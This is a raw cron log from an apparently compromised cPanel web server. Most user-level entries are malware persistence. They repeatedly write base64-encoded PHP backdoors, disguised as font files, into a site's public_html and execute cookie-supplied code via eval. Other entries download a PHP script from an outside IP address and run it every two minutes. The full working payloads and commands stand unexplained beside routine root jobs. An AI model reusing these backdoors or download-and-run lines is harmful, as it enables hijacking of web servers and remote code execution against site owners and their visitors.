Sep  6 14:53:01 ip-184-168-122-23 CROND[13317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:53:01 ip-184-168-122-23 CROND[13316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:53:01 ip-184-168-122-23 CROND[13318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:54:01 ip-184-168-122-23 CROND[13529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:54:01 ip-184-168-122-23 CROND[13532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:54:01 ip-184-168-122-23 CROND[13531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:54:01 ip-184-168-122-23 CROND[13533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:54:01 ip-184-168-122-23 CROND[13534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:55:01 ip-184-168-122-23 CROND[13825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:55:01 ip-184-168-122-23 CROND[13828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:55:01 ip-184-168-122-23 CROND[13827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:55:01 ip-184-168-122-23 CROND[13829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:55:01 ip-184-168-122-23 CROND[13832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:55:01 ip-184-168-122-23 CROND[13830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:56:01 ip-184-168-122-23 CROND[14067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:56:01 ip-184-168-122-23 CROND[14069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:56:01 ip-184-168-122-23 CROND[14072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:56:01 ip-184-168-122-23 CROND[14071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:56:01 ip-184-168-122-23 CROND[14070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:57:01 ip-184-168-122-23 CROND[14226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:57:01 ip-184-168-122-23 CROND[14228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:57:01 ip-184-168-122-23 CROND[14229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:57:01 ip-184-168-122-23 CROND[14231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:58:01 ip-184-168-122-23 CROND[14417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:58:01 ip-184-168-122-23 CROND[14416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:58:01 ip-184-168-122-23 CROND[14418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:58:01 ip-184-168-122-23 CROND[14415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:58:01 ip-184-168-122-23 CROND[14419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:59:02 ip-184-168-122-23 CROND[14596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:59:02 ip-184-168-122-23 CROND[14598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:59:02 ip-184-168-122-23 CROND[14602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:59:02 ip-184-168-122-23 CROND[14600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:00:01 ip-184-168-122-23 CROND[14811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:00:01 ip-184-168-122-23 CROND[14814]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:00:01 ip-184-168-122-23 CROND[14813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:00:02 ip-184-168-122-23 CROND[14820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:00:02 ip-184-168-122-23 CROND[14824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:00:02 ip-184-168-122-23 CROND[14825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:00:02 ip-184-168-122-23 CROND[14822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:00:02 ip-184-168-122-23 CROND[14821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:01:01 ip-184-168-122-23 CROND[14982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:01:01 ip-184-168-122-23 CROND[14983]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:01:01 ip-184-168-122-23 CROND[14985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:01:01 ip-184-168-122-23 CROND[14986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:01:01 ip-184-168-122-23 CROND[14987]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 15:01:01 ip-184-168-122-23 CROND[14988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14987]: starting 0anacron
Sep  6 15:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15005]: finished 0anacron
Sep  6 15:02:01 ip-184-168-122-23 CROND[15160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:02:01 ip-184-168-122-23 CROND[15164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:02:01 ip-184-168-122-23 CROND[15162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:02:01 ip-184-168-122-23 CROND[15163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:02:01 ip-184-168-122-23 CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:03:01 ip-184-168-122-23 CROND[15317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:03:01 ip-184-168-122-23 CROND[15319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:03:01 ip-184-168-122-23 CROND[15320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:03:01 ip-184-168-122-23 CROND[15321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:04:01 ip-184-168-122-23 CROND[15490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:04:01 ip-184-168-122-23 CROND[15494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:04:01 ip-184-168-122-23 CROND[15495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:04:01 ip-184-168-122-23 CROND[15492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:04:01 ip-184-168-122-23 CROND[15493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:05:01 ip-184-168-122-23 CROND[15643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
